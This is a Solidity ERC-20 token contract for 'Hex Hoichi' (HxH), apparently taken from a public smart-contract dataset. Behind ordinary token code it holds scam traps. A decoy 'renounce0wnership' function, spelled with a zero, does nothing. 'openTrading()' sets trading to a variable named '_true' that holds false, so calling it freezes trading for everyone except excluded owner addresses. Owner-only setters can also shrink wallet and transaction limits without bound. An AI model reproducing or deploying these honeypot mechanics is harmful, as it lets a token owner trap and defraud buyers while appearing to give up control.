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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
// SPDX-License-Identifier: MIT
/*
Token Name: Hex Hoichi
Symbol: HxH
Supply: 1,000,000,000,000 initial buy 1% 10,000,000,000
lift to max wallet 3% 30,000,000,000
after fake LP REMOVE to kick bots
Tax: 4/8 buy/sell
revert tax to 4/4 after lock
2% LP
2% Market
https://t.me/HEXHOICHI
*/
pragma solidity 0.8.15;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c; }
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow"); }
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage); uint256 c = a - b; return c; }
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0; }
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c; }
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero"); }
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage); uint256 c = a / b; return c; } }
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value); }
abstract contract Context {
function _msgSender() internal view virtual returns (address) {return msg.sender;}
function _msgData() internal view virtual returns (bytes calldata) {this; return msg.data; } }
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() { _setOwner(_msgSender()); }
function owner() public view virtual returns (address) {return _owner;}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_; }
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0)); }
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner); }
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner); } }
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair); }
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity); }
contract MainContract is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromMaxWalletSize;
bool private _true = false;
string private constant _name = "Hex Hoichi";
string private constant _symbol = "HxH";
uint8 private constant _decimals = 9;
uint256 public buyLiquidityFee=2;
uint256 public buyBurnFee=0;
uint256 public buyMarketingFee=2;
uint256 public totalBuyFees = buyLiquidityFee + buyBurnFee + buyMarketingFee;
//initial sell tax to be reverted to 4% after bots are kicked
uint256 public sellLiquidityFee=4;
uint256 public sellBurnFee=0;
uint256 public sellMarketingFee= 4;
uint256 public totalSellFees = sellLiquidityFee + sellBurnFee + sellMarketingFee;
uint256 public tokensForAutoLiquidity;
uint256 public tokensForAutoBurn;
uint256 public tokensForMarketing;
uint16 public masterTaxDivisor = 100;
address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
address public pairAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private maxWalletAmount = 10000000001 * 10**9;
uint256 private maxTxAmount = 10000000001 * 10**9;
address payable private MarketAddrWallet;
event MaxWalletAmountUpdated(uint maxWalletAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false; }
constructor () {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
pairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
MarketAddrWallet = payable(0xe286015C1e0d362B5693b9a3A3089b14Fa6d64F2);
_tOwned[owner()] = _tTotal;
uint256 _buyLiquidityFee = 2;
uint256 _buyBurnFee = 0;
uint256 _buyMarketingFee = 2;
uint256 _sellLiquidityFee = 4;
uint256 _sellBurnFee = 0;
uint256 _sellMarketingFee = 4;
sellLiquidityFee = _sellLiquidityFee;
sellBurnFee = _sellBurnFee;
sellMarketingFee = _sellMarketingFee;
totalSellFees = sellLiquidityFee + sellBurnFee + sellMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyBurnFee = _buyBurnFee;
buyMarketingFee = _buyMarketingFee;
totalBuyFees = buyLiquidityFee + buyBurnFee + buyMarketingFee;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[MarketAddrWallet] = true;
_isExcludedFromMaxWalletSize[owner()] = true;
_isExcludedFromMaxWalletSize[address(this)] = true;
_isExcludedFromMaxWalletSize[MarketAddrWallet] = true;
swapEnabled = true;
tradingOpen = true;
maxTxAmount = 10000000001 * 10**9;
maxWalletAmount = 10000000001 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
emit Transfer(address(0), owner(), _tTotal); }
function name() public pure returns (string memory) { return _name; }
function getTxAmount() public view returns(uint256) {return maxTxAmount;}
function getMaxWallet() public view returns(uint256) {return maxWalletAmount;}
function symbol() public pure returns (string memory) { return _symbol; }
function decimals() public pure returns (uint8) { return _decimals; }
function totalSupply() public view override returns (uint256) { return _tTotal; }
function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; }
function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true; }
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount); }
function renounce0wnership() public virtual onlyOwner {}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
require(tradingOpen || _isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading not enabled yet");
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(amount <= maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= maxWalletAmount, "Exceeds the maxWalletSize."); }
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromMaxWalletSize[to]) {
require(amount + balanceOf(to) <= maxWalletAmount, "Recipient exceeds max wallet size."); }
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance); } }
_tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));
}
function openTrading() public onlyOwner {
tradingOpen = _true;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
_tOwned[sender] -= amount;
uint256 amountReceived = (takeFee) ? takeTaxes(sender, recipient, amount) : amount;
_tOwned[recipient] += amountReceived;
emit Transfer(sender, recipient, amountReceived);
}
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
if(from == uniswapV2Pair && totalBuyFees > 0 ) {
tokensForAutoLiquidity = amount * buyLiquidityFee / masterTaxDivisor;
tokensForAutoBurn = amount * buyBurnFee / masterTaxDivisor;
tokensForMarketing = amount * buyMarketingFee / masterTaxDivisor; }
else if (to == uniswapV2Pair && totalSellFees > 0 ) {
tokensForAutoLiquidity = amount * sellLiquidityFee / masterTaxDivisor;
tokensForAutoBurn = amount * sellBurnFee / masterTaxDivisor;
tokensForMarketing = amount * sellMarketingFee / masterTaxDivisor; }
_tOwned[pairAddress] += tokensForAutoLiquidity;
emit Transfer(from, pairAddress, tokensForAutoLiquidity);
_tOwned[DEAD] += tokensForAutoBurn;
_tTotal = _tTotal - tokensForAutoBurn;
_tTotal = totalSupply();
emit Transfer(from, DEAD, tokensForAutoBurn);
_tOwned[address(this)] += tokensForMarketing;
emit Transfer(from, address(this), tokensForMarketing);
uint256 feeAmount = tokensForAutoLiquidity + tokensForAutoBurn + tokensForMarketing;
return amount - feeAmount;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function excludeFromMaxWalletLimit(address account) public onlyOwner {
_isExcludedFromMaxWalletSize[account] = true;
}
function includeInMaxWalletLimit(address account) public onlyOwner {
_isExcludedFromMaxWalletSize[account] = false;
}
function SetWalletandTxtAmount(uint256 _maxTxAmount, uint256 _maxWalletSize) external onlyOwner{
maxTxAmount = _maxTxAmount * 10 **_decimals;
maxWalletAmount = _maxWalletSize * 10 **_decimals;
}
function SetWalletand( uint256 _maxWalletSize) external onlyOwner{
maxWalletAmount = _maxWalletSize * 10 **_decimals;
}
function sendETHToFee(uint256 amount) private {
MarketAddrWallet.transfer(amount);
}
function RervertSellFeesToOriginalTax() external onlyOwner{
sellLiquidityFee = 2;
sellBurnFee = 0;
sellMarketingFee = 2;
totalSellFees = sellLiquidityFee + sellBurnFee + sellMarketingFee;
}
receive() external payable{
}
} |